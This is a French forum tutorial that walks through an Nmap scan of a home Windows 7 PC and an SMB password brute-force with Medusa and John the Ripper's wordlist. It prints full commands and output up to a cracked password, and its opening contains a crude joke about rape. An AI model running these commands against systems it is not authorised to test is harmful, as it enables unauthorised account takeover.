user@linuxtrack:~ $ python -c 'print("Soyez les bienvenus !")'

Vous n'êtes pas identifié(e).

#1 02-08-2014 00:22:31

Cénosillicaphobe
Membre

[Tuto] Scan système + Bruteforce (Nmap, Medusa, John The Ripper)

Salutations !

Le but de ce tuto est de vous montrer un moyen de tester la vulnérabilité de son mot de passe, en admettant que la machine cible n'utilise pas de firewall, ce qui rend possible l'utilisation de l'outil Nmap (ceci dit, protéger son PC sans firewall, c'est comme écrire avec un stylo sans encre, ou violer avec des problèmes d'érection.)

Nous utiliserons donc Nmap, l'outil Medusa, et le dico de l'outil John The Ripper (dans le cas où vous n'auriez pas de dico).

Si vous ne possédez pas déjà ces outils :

apt-get update && apt-get upgrade && apt-get install nmap medusa john

Bien, mise à jour des listes de paquets faite, paquets installés, outils installés, rentrons dans le vif du sujet !

Pour le test, je n'utilise pas de VM, mon PC étant un vieux Toshiba de 11 ans avec un Pentium 4 et 512M de RAM.
Ma cible sera donc le PC de ma grand-mère que j'aime et que j'adore. Pour sa sécurité, le nom d'utilisateur et le mot de passe seront changés, mais ça ne changera en rien les commandes et réponses obtenues.
Il n'y aura pas de screen, je copierai-collerai les réponses (paraît que l'on peut retirer les modifications apportées à une image, donc dans le doute...)
Je vais faire exprès de galérer, ce serait trop simple sans un peu de réflexion.

Première étape : Le scan

Nmap est un outil de scan assez complet :
- Il permet de déterminer les ports ouverts, fermés, et filtrés.
- Le numéro de ces ports.
- Le service utilisé par ceux ci.
- De faire des tests de vulnérabilité.
- Et d'autres que je vous laisse découvrir grâce à la commande "man nmap" smile

Bref, assez de blala.

Pour obtenir l'IP locale, il y a moult solutions. Deux façons simples : analyse des trames, ou simplement saisir l'IP publique dans la barre d'URL de son navigateur favori (pas tous les modems ne le permettent).
Après avoir obtenu l'IP locale, scannons la machine. Ce scan sera complet.

Nous obtenons ceci (l'adresse MAC a été modifiée) :

root@LeniBard:~# nmap -T4 -A -v 192.168.0.12

Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-01 22:16 CEST
NSE: Loaded 118 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 22:16
Scanning 192.168.0.12 [1 port]
Completed ARP Ping Scan at 22:16, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:16
Completed Parallel DNS resolution of 1 host. at 22:16, 0.00s elapsed
Initiating SYN Stealth Scan at 22:16
Scanning 192.168.0.12 [1000 ports]
Discovered open port 135/tcp on 192.168.0.12
Discovered open port 139/tcp on 192.168.0.12
Discovered open port 554/tcp on 192.168.0.12
Discovered open port 445/tcp on 192.168.0.12
Discovered open port 10243/tcp on 192.168.0.12
Discovered open port 2869/tcp on 192.168.0.12
Discovered open port 5357/tcp on 192.168.0.12
Completed SYN Stealth Scan at 22:16, 4.87s elapsed (1000 total ports)
Initiating Service scan at 22:16
Scanning 7 services on 192.168.0.12
Completed Service scan at 22:17, 91.43s elapsed (7 services on 1 host)
Initiating OS detection (try #1) against 192.168.0.12
NSE: Script scanning 192.168.0.12.
Initiating NSE at 22:17
Completed NSE at 22:18, 74.40s elapsed
Nmap scan report for 192.168.0.12
Host is up (0.0059s latency).
Not shown: 993 filtered ports
PORT      STATE SERVICE     VERSION
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn
445/tcp   open  netbios-ssn
554/tcp   open  rtsp?
2869/tcp  open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp  open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-methods: No Allow or Public header in OPTIONS response (status code 503)
|_http-title: Service Unavailable
10243/tcp open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-methods: No Allow or Public header in OPTIONS response (status code 404)
|_http-title: Not Found
MAC Address: xx:xx:xx:xx:xx:xx (Hon Hai Precision Ind. Co.)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|2008|7
OS CPE: cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_7
OS details: Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008
Uptime guess: 0.370 days (since Fri Aug  1 13:26:52 2014)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=249 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| nbstat: NetBIOS name: USER-PC, NetBIOS user: <unknown>, NetBIOS MAC: Ta:Me:Re:En:St:Ri:Ng (Hon Hai Precision Ind. Co.)
| Names:
|   USER-PC<20>          Flags: <unique><active>
|   USER-PC<00>          Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb-os-discovery: 
|   OS: Windows 7 Home Premium 7601 Service Pack 1 (Windows 7 Home Premium 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   NetBIOS computer name: USER-PC
|   Workgroup: WORKGROUP
|_  System time: 2014-08-01T22:16:36+02:00
| smb-security-mode: 
|   Account that was used for smb scripts: <blank>
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

TRACEROUTE
HOP RTT     ADDRESS
1   5.94 ms 192.168.0.12

NSE: Script Post-scanning.
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 179.64 seconds
           Raw packets sent: 2032 (91.246KB) | Rcvd: 18 (1.114KB)

Bien ! Qu'avons nous là ? Beaucoup trop d'infos. Intéressons nous à celles qui seront exploitables :

PORT      STATE SERVICE     VERSION
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn
445/tcp   open  netbios-ssn
554/tcp   open  rtsp?
2869/tcp  open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp  open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Names:
|   USER-PC<20>          Flags: <unique><active>
|   USER-PC<00>          Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb-os-discovery:
|   OS: Windows 7 Home Premium 7601 Service Pack 1 (Windows 7 Home Premium 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   NetBIOS computer name: USER-PC
|   Workgroup: WORKGROUP
|_  System time: 2014-08-01T22:16:36+02:00
| smb-security-mode:
|   Account that was used for smb scripts: <blank>
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

Des ports, des protocols.
Je pense avoir assez d'info pour passer à l'étape 2.

Étape 2 : Bruteforce via l'outil Medusa et le dico de John The Ripper.

Nous savons quels protocoles utilise le PC, mais nous ne savons toujours pas quels modules utilise Medusa !

root@LeniBard:~# medusa -d
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

  Available modules in "." :

  Available modules in "/usr/lib/medusa/modules" :
    + cvs.mod : Brute force module for CVS sessions : version 2.0
    + ftp.mod : Brute force module for FTP/FTPS sessions : version 2.0
    + http.mod : Brute force module for HTTP : version 2.0
    + imap.mod : Brute force module for IMAP sessions : version 2.0
    + mssql.mod : Brute force module for M$-SQL sessions : version 2.0
    + mysql.mod : Brute force module for MySQL sessions : version 2.0
    + ncp.mod : Brute force module for NCP sessions : version 2.0
    + nntp.mod : Brute force module for NNTP sessions : version 2.0
    + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
    + pop3.mod : Brute force module for POP3 sessions : version 2.0
    + postgres.mod : Brute force module for PostgreSQL sessions : version 2.0
    + rexec.mod : Brute force module for REXEC sessions : version 2.0
    + rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
    + rsh.mod : Brute force module for RSH sessions : version 2.0
    + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.0
    + smtp-vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 2.0
    + smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
    + snmp.mod : Brute force module for SNMP Community Strings : version 2.0
    + ssh.mod : Brute force module for SSH v2 sessions : version 2.0
    + svn.mod : Brute force module for Subversion sessions : version 2.0
    + telnet.mod : Brute force module for telnet sessions : version 2.0
    + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
    + vnc.mod : Brute force module for VNC sessions : version 2.0
    + web-form.mod : Brute force module for web forms : version 2.0
    + wrapper.mod : Generic Wrapper Module : version 2.0

Tiens ? Nous avons un port utilisant le protocole HTTP, et Medusa possède un module HTTP. Parfait !
Commençons smile

(Je connais déjà les options pour Medusa. Je vous laisse faire un petit medusa -help ^^ Juste, sachez que la différence entre MAJ. et min. pour "u" et "p" est que MAJ. = liste, min. = Info brut)

Pour le nom d'utilisateur, je connais celui de la personne à qui appartient le PC. Essayons.

root@LeniBard:~# medusa -h 192.168.0.12 -n 2869 -u USER-PC -P /usr/share/john/password.lst -M http
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ERROR: No data received

Bah merde ? ._.
Essayons le second :

root@LeniBard:~# medusa -h 192.168.0.12 -n 5357 -u USER-PC -P /usr/share/john/password.lst -M http
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [http] Host: 192.168.0.12 (1 of 1, 0 complete) User: Ariana (1 of 1, 0 complete) Password: #!comment: This list has been compiled by Solar Designer of Openwall Project, (1 of 3556 complete)
ACCOUNT FOUND: [http] Host: 192.168.0.12 User: USER-PC Password: #!comment: This list has been compiled by Solar Designer of Openwall Project, [SUCCESS]

C'est déjà mieux ! Malheureusement, lorsque j'entre ces infos, celà ne fonctionne pas. Bon.

Essayons une autre méthode. Nous avons vu que le PC de la victime utilisait le protocole SMB, et que Medusa avait ceci en module. Essayons :

root@LeniBard:~# medusa -h 192.168.0.12 -u USER-PC -P /usr/share/john/password.lst -M smbnt
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: #!comment: This list has been compiled by Solar Designer of Openwall Project, (1 of 3556 complete)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: #!comment: http://www.openwall.com/wordlists/ (2 of 3556 complete)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: #!comment: (3 of 3556 complete)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: #!comment: This list is based on passwords most commonly seen on a set of Unix (4 of 3556 complete)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: #!comment: systems in mid-1990's, sorted for decreasing number of occurrences (5 of 3556 complete)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: #!comment: (that is, more common passwords are listed first).  It has been (6 of 3556 complete)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: #!comment: revised to also include common website passwords from public lists (7 of 3556 complete)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: #!comment: of "top N passwords" from major community website compromises that (8 of 3556 complete)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: #!comment: occurred in 2006 through 2010. (9 of 3556 complete)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: #!comment: (10 of 3556 complete)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: #!comment: Last update: 2011/11/20 (3546 entries) (11 of 3556 complete)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: 123456 (12 of 3556 complete)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: 12345 (13 of 3556 complete)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: password (14 of 3556 complete)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.12 (1 of 1, 0 complete) User: USER-PC (1 of 1, 0 complete) Password: password1 (15 of 3556 complete)

Et ça continuait encore. Bon là y a pas à chier, c'est via ce protocole que ça fonctionne le mieux !
Je le laisse travailler, et...

Tiens, que vois-je ?

ACCOUNT FOUND: [smbnt] Host: 192.168.0.12 User: USER-PC Password: LeniBard [SUCCESS]

Parfait, le bruteforce a fonctionné. Il ne me reste plus qu'à exploiter ces nouvelles informations...

Note :

Il est préférable d'utiliser une liste d'identifiants, car si le MDP est bon mais que le nom d'utilisateur ne l'est pas, Medusa ne vous retournera pas de SUCESS.

Temps que vous ne trouvez pas, il faut chercher, se renseigner sur sa cible, ajouter des combinaisons au(x) dico(s)... On passe plus de temps à chercher qu'à exploiter, là est la puissance du pseudo/mot de passe à choisir. Si l'attaquant est passe vraiment trop de temps avec le bruteforce, il laissera tomber et essayera utilisera une autre méthode. Donc vous aurez gagné la bataille, mais vous n'aurez pas gagné la guerre ! [Charles De Gaulle]


Merci de m'avoir lu, j'espère vous avoir apporté des infos utiles.
Toutes améliorations, conseils, et questions, sont les bienvenus !

LeniBard.

Dernière modification par Cénosillicaphobe (02-08-2014 10:40:52)

Hors ligne

#2 02-08-2014 01:41:00

IceF0x
#! Gourou Linux

Re : [Tuto] Scan système + Bruteforce (Nmap, Medusa, John The Ripper)

Merci de ta contribution.


Utiliser des logiciels propriétaires, c'est comme les plats préparés, on est incapable de dire les conservateurs qu'ils contiennent, on dira toujours que c'est bon, mais ça ne remplacera jamais le repas fait maison par sa maman.
]:D #! Crunchbang & Archlinux GNU/Linux User ]:D

Hors ligne

Pied de page des forums